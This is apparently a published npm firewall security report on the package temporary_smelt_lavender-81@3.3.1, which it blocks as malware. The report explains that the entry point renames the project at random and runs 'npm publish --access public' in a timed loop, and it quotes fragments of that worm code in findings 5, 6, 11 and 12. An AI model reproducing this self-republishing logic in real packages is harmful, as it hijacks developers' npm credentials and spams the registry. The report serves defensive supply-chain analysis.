---
canonical: "https://firewall.lpm.dev/npm/temporary_smelt_lavender-81"
markdown: "https://firewall.lpm.dev/npm/temporary_smelt_lavender-81/report.md"
package: "temporary_smelt_lavender-81"
report_status: "published"
title: "temporary_smelt_lavender-81@3.3.1 npm security report"
verdict: "malicious"
version: "3.3.1"
---

# temporary\_smelt\_lavender-81@3.3.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Uses the configured npm credentials to create repeated public releases under names chosen by the script.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 3.3.1
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The entry point automatically renames and republishes the current project to public npm, then repeats the action on a timer. This is a concrete npm publishing worm behavior that uses the user's npm account for repeated releases.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-11-04T09:51:52.309Z
- **Finished:** 2026-11-04T09:52:35.540Z
- **Download time:** 257 ms
- **Static scan time:** 15 ms
- **AI review time:** 42959 ms
- **Total time:** 43231 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Repeatedly republishes the current project under randomly generated public npm package names.

- **Trigger:** Importing the declared main entry point or running autopublish.js starts the loop immediately.

- **Impact:** Uses the configured npm credentials to create repeated public releases under names chosen by the script.

- **Evidence paths:** package.json, autopublish.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-04T09:52:35.540Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The script rewrites package.json and package-lock.json with a random name, invokes \`npm publish --access public\`, then schedules another attempt.

- **Attack narrative:** When autopublish.js runs, it renames the current package, publishes it publicly to npm, and schedules another attempt after a random delay. Because it is also the declared main entry point and starts the loop at module load, importing the package triggers this repeated publishing behavior.

- **Rationale:** The entry point automatically renames and republishes the current project to public npm, then repeats the action on a timer. This is a concrete npm publishing worm behavior that uses the user's npm account for repeated releases.

- **Files touched:** package.json, package-lock.json

- **Network endpoints:** npmjs.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json selects autopublish.js as the package main entry point., autopublish.js changes the current package name to a random name and writes the modified metadata., autopublish.js runs \`npm publish --access public\`., After publishing, autopublish.js schedules another publish attempt after a random delay and starts the loop immediately.

- **Evidence against:** README describes a script users run to rename and publish a package, so publishing is part of its stated purpose., The package has no install lifecycle scripts.

## Affected versions and remediation

This report applies to temporary\_smelt\_lavender-81@3.3.1.

- Avoid installing temporary\_smelt\_lavender-81@3.3.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
```

### 3. High: Shell
- **Category:** Source
- **Confidence:** 85.0%

Package source references shell execution.

### 4. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 5. Critical: Npm Publish Worm
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish.js>)

Source mutates package metadata and republishes itself to npm.

Public source snippet (untrusted):

```javascript
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3: 
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32: 
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45: 
L46: exec('npm publish --access public', (error, stdout, stderr) => {
```

### 6. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.main -> autopublish.js
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3: 
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32: 
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45: 
L46: exec('npm publish --access public', (error, stdout, stderr) => {
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 85.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** autopublish3.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish3.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 49b7c8d728f416b2
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = sound_deer_apricot-15@2.1.4
matchedPath = autopublish3.js
matchedIdentity = npm:c291bmRfZGVlcl9hcHJpY290LTE1:2.1.4
similarity = 1.000
shingleOverlap = 3
summary = package final verdict is malicious
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/package.json>)

package.json selects autopublish.js as the package main entry point.

Public source snippet (untrusted):

```json
"main": "autopublish.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish.js>)

autopublish.js changes the current package name to a random name and writes the modified metadata.

Public source snippet (untrusted):

```javascript
let packageJson = fs.readFileSync('package.json');
  let packageData = JSON.parse(packageJson);
  let randomString = generateRandomString(10);
  packageData.name = `${randomString}-notthedevs`; //bisa ganti "-notthedevs" dengan apapun

  fs.writeFileSyn
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/temporary_smelt_lavender-81@3.3.1/autopublish.js>)

autopublish.js runs \`npm publish --access public\`.

Public source snippet (untrusted):

```javascript
exec('npm publish --access public', (error, stdout, stderr) => {
    clearInterval(animationInterval);
    process.stdout.write('\r');
    if (error) {
      consol
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 1

### Published dependency entries
- naerdstore ^1.1.9 (Dependency)

## Package metadata
- **Package:** temporary\_smelt\_lavender-81
- **Ecosystem:** npm
- **Version:** 3.3.1
- **License:** ISC
- **Version published:** 2024-05-21T15:01:08.555Z
- **Package first seen:** 2026-11-04T09:52:35.540Z
- **Package last seen:** 2026-11-04T09:52:35.540Z
- **Known versions:** 1
- **Latest version:** 3.3.1
- **Appeal under review:** No
- **Description:** Ini adalah script Node.js yang bisa auto ganti nama package dalam file \`package.json\` dan \`package-lock.json\`, serta bisa publish package ke npmjs.com dengan\`npm publish\`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil
- **Artifact files:** 5
- **Artifact unpacked size:** 15,824 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/temporary_smelt_lavender-81>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18620>)
